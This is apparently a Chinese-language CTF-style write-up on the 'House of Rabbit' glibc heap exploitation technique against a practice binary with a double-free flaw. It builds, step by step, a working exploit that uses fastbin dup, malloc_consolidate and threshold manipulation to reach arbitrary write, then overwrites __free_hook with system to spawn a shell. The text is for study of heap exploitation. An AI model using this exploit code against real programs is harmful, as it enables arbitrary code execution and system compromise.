House of Rabbit
这种利用方式产生于2017年,本质的原理是可以通过修改fastbin的size
或是fd,触发malloc_consolidate
,使得fastbin被link到其他的bins中
首先检查程序的安全机制
除了PIE随机化其他的都是全开
程序的菜单有一个限制
总的申请chunk数量为9个,其中只能包含4次fastbin
对大小倒是没有限制,从fastbin到largebin都可以申请;
另外程序最开始有一个libc的leak,并且最初输入的age是可以通过菜单修改的;
程序free时没有清除meta data,导致存在double free的漏洞
和之前的几个实例相比,还有一个特点
之前的程序user字段会在target的上面,这样我们可以将user字段伪造成一个chunk的size字段,进而申请空间后修改target
但是这个程序target是在user的上面的,这种方法就行不通了
在house of force中,也有类似的情况,我们的解决方法是将Top Chunk溢出修改为一个特别大的值,之后申请内存时循环一圈申请到上方的空间
那么在这个程序中是否也可以使用类似的方法呢?
任意地址写
如果要利用这个user伪造chunk的size,使用类似house of force的方法申请很大的空间,那么只能设法将一个largebin link到这个user字段这里了。
在house of lore中介绍过将伪造的chunk加入到largebin的方法
当时是存在溢出的漏洞可以修改一个largebin的fd、bk字段,但是这个程序中也无法实现这样的效果
首先利用fastbin dup得到一个overlap的指针
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
但是这个程序只能申请4次fastbin,我们这就已经用了三次了
肯定是没办法直接用fastbin dup了,而且fastbin的大小对我们这种情况也不适用,我们想要的是largebin,准确的说的最大的largebin,只有最大的largebin才能申请无限大的chunk
下面就是house of rabbit的一个核心的内容了
首先我们可以设法触发malloc_consolidate
,在这个函数中,会将fastbin放入到unsortedbin中尝试对内存进行合并,这样可以将fastbin放到unsortedbin中
malloc_consolidate
没办法直接调用,只能间接设法触发
在malloc的执行流程中,有两个地方用到了malloc_consolidate
可以看到上面的一次调用,只要malloc接收到largebin大小的申请就会触发
这个思想也很合理,当申请一个特别大的chunk时,会先将内存中细碎的小空间释放或合并,否则可能由于空间不连续多占用很多空间
那么修改一下exploit
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
malloc(0x3f8,'a'*8)
这在执行时出现了报错
不过好消息是这个报错是malloc_consolidat
中触发的
也就是说我们成功触发了这个函数,出现错误的原因也很熟悉了,是unlink时的错误
这里unlink的是nextchunk
,在gdb中print一下看看是哪一个chunk
所以这里尝试unlink的是我们伪造的user的下一个位置
为什么会这样呢?
这需要结合malloc_consolidate
的功能来考虑
这个函数的目的是合并内存的free碎片
顺着fastbin的fd找到在user伪造的chunk之后
- fake chunk在fastbin上,所以是一个free的
- 向下找fake chunk之后的chunk(即这里的nextchunk),判断它是否也需要合并进来
- 从nextchunk接着往下找,看nextchunk后面的nnchunk的prev_inuse字段是否为0,如果是的话就合并进来
在这里接下来的部分size是0,所以nnchunk的prev_inuse也是0
malloc_consolidate
认为nextchunk也是一个free了的chunk,所以需要将其unlink下来
要通过这个判断,有一个方法就是将fake chunk的size字段修改为1
由于大小是0,nextchunk也是指向了自己,接下来由于prev_inuse为1,就停止搜索了
这样运行仍然报了一个错
不过已经不是之前consolidate
的漏洞了
报错的原因是malloc(): memory corruption
这时查看user
结构体附近的值,可以看到unsortedbin的fd、bk已经写入到这里了
这说明我们已经通过malloc_consolidate
将伪造的chunk从fastbin link到了unsortedbin中
接下来处理这里的报错
报错出现的原因是在检验fake chunk的size时小于2*SIZE_SZ
,不是一个有效的unsortedbin的size
上面malloc的流程图中可以看到在触发了malloc_consolidate
之后紧接着做的事情就是scan unsortedbin,判断unsortedbin中是否有符合条件可以满足申请的chunk
要想解决这个问题有两个方法:
一是在这里申请large chunk之前更早的时候首先在unsortedbin中放一个可以满足要求的chunk,这样第一次扫描unsortedbin的时候就不会检查到fake chunk的size
二是直接放弃这个malloc_consolidate
,转而尝试触发其他途径上的malloc_consolidate
思路一
修改exploit
large = malloc(0x3f8, "large")
avoid = malloc(0x98, 'small')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(large)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
malloc(0x3f8,'a'*8)
在最上面增加一个large一个avoid
首先large的申请就是为了首先在unsortedbin中增加一个大小和我们要申请的内容相同的chunk
avoid则是为了防止与top chunk合并设置的
如果不增加avoid的话,large、fast_A、fast_B全部都会和top chunk合并,就无法留在unsortedbin中了
另外avoid还有一个作用是防止large和fast_A、fast_B合并
如果将avoid的位置放在fast_B的下面,这样在执行完毕malloc_consolidate
之后,几个chunk都不会和top chunk合并,但是large和fast_A、fast_B会合并为一个chunk
这导致unsortedbin中的大小发生了改变,unsortedbin的搜索停止条件是有一个chunk的大小完全相同,这样的话就无法阻止unsortedbin继续搜索我们的fake chunk
不过也可以通过修改最后一个malloc的大小解决,从0x3f8改为0x438即可
malloc(0x438,'a'*8)
思路二
其实malloc_consolidate
除了在申请时可能触发,还可能在释放时触发
在free时如果一个chunk的大小大于了fastbin consolidation threshold
这个值
就会触发malloc_consolidate
,这个值默认是65535
可以看到在到达这里之前,free函数首先会尝试与前后的chunk进行合并,合并之后才会判断是否需要consolidate fastbin
那么只要在堆靠近top chunk的地方free掉一个unsortedbin,unsortedbin与top chunk进行合并,之后发现top chunk的值大于了65535,之后就会触发malloc_consolidate
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18, p64(elf.sym.usr))
unsorted = malloc(0x88,'a'*8)
free(unsorted)
既然成功将fake chunk放入到了unsortedbin中,接下来要做的就是将其放入到largebin
首先将age字段修改为0x80001
之后申请一个比这个还要大的chunk,这样就会将其从unsortedbin中unlink下来放到largebin
amend_age(0x80001)
malloc(0x80008,'bbbb')
运行之后,仍然报了一个错误
和之前错误的是一个位置,也就是检查fake chunk的size时出错
但是这次不是因为太小了,而是因为太大了导致的
chunksize_nomask(victim)>av->system_mem
这时系统的av->system_mem
比我们申请的chunk可小太多了
但是这里的问题是,想要将chunk放入到最大的largebin,最小的值就是0x8001了
既然没办法修改这个值,那只能想办法让av->system_mem
变大了
如果在之前申请一个特别大的chunk,那么系统就会更新system_mem
目前这个值是0x21000,那么如果申请一个0x60000大小的chunk,就可以将system_mem变的比0x80001大了
在最开始申请一个超大的chunk
very_large = malloc(0x5fff8,'bbbig')
继续运行,发现这个chunk并没有在堆里,system_mem也没有变大
使用malloc_chunk m_array[0]-0x10
可以看到
这个chunk的标识位IS_MMAPED
被置为1了
也就是说这个chunk并不是通过malloc分配的,而是通过mmap分配的
在释放的时候也是直接使用unmmap释放
这是因为申请的内存太大了,堆分配器认为程序一般不会用到这么大的内存
偶尔出现一次不如直接用mmap
分配一个新的区域出来
实际上具体执行时比较的时mp_.mmap_threshold
这个阈值
只要这个值不发生变化,那就没办法申请这么大的空间,所以必须想办法增大这个阈值才行
改变这个阈值的情况就是当释放掉一个特别大并且有mmaped标识位的chunk时,如果它的大小大于现在的mp_.mmap_threshold
就扩大这个阈值
所以我们改写一下exploit,free掉这个mmap的空间,并再申请一次
very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)
amend_age(0x80001)
malloc(0x80008,'bbb')
这时再运行可以发现gdb没有报错了
主动暂停一下看看,可以看到mmap_threshold
增大到了0x61000
另外整个堆空间的大小变成了0x81000
最后就是成功将fake chunk加入到了largebin
可以看到skiplist的fd、bk也已经有了值
那么最后只需要申请一个超级大的空间,让内存滚上一圈
再申请下来target的空间就可以了
very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)
amend_age(0x80001)
malloc(0x80008,'bbbb')
amend_age(0xfffffffffffffff1)
malloc(0xffffffffffffffff-elf.sym.user+elf.sym.target-0x20, 'bbbb')
malloc(0x18, b"Much Win\x00")
成功改写了目标字符串
任意代码执行
有了任意地址写的能力,代码执行就很简单了
直接针对free_hook,将其修改为system的地址
上面的exploit进行一些修改
amend_age(0xfffffffffffffff1)
distance = libc.sym.__free_hook-0x20 - elf.sym.user
malloc(distance,'xxxx')
malloc(0x18, p64(libc.sym.system))
但是没想到在最后一个malloc居然出错了
出错的原因还是熟悉的unsortedbin大小检查时出错
这个unsortedbin是哪里来的呢?
我们构造的fake chunk大小太大了,在申请一个从free_hook到user的内存之后,还有很大的剩余空间,因此需要放入到remainder中
所以这就导致remainder的size没有通过检查
那么对应的解决方法也很简单,只要设法让remainder的大小可控就可以了
distance = libc.sym.__free_hook-0x20 - elf.sym.user
print("distance %s" % hex(distance))
amend_age(distance+0x29)
binsh = malloc(distance,"/bin/sh\x00")
malloc(0x18, p64(0)+p64(libc.sym.system))
free(binsh)
重修修改一下fake chunk的size
让其大小正好是从user 到free_hook前面的差加上一个修改的chunk大小
注意需要
调整一下age设置为16位对齐
最后执行就可以获得shell了
最终完整的exploit
very_big = malloc(0x5fff8,'bbbig')
free(very_big)
very_big = malloc(0x5fff8,'bbbig')
fast_A = malloc(0x18, "A"*8)
fast_B = malloc(0x18, "B"*8)
free(fast_A)
free(fast_B)
free(fast_A)
malloc(0x18,p64(elf.sym.user))
large = malloc(0x88,'bbbb')
free(large)
amend_age(0x80001)
malloc(0x80008,'bbb')
distance = libc.sym.__free_hook-0x20 - elf.sym.user
print("distance %s" % hex(distance))
amend_age(distance+0x29)
binsh = malloc(distance,"/bin/sh\x00")
malloc(0x18, p64(0)+p64(libc.sym.system))
free(binsh)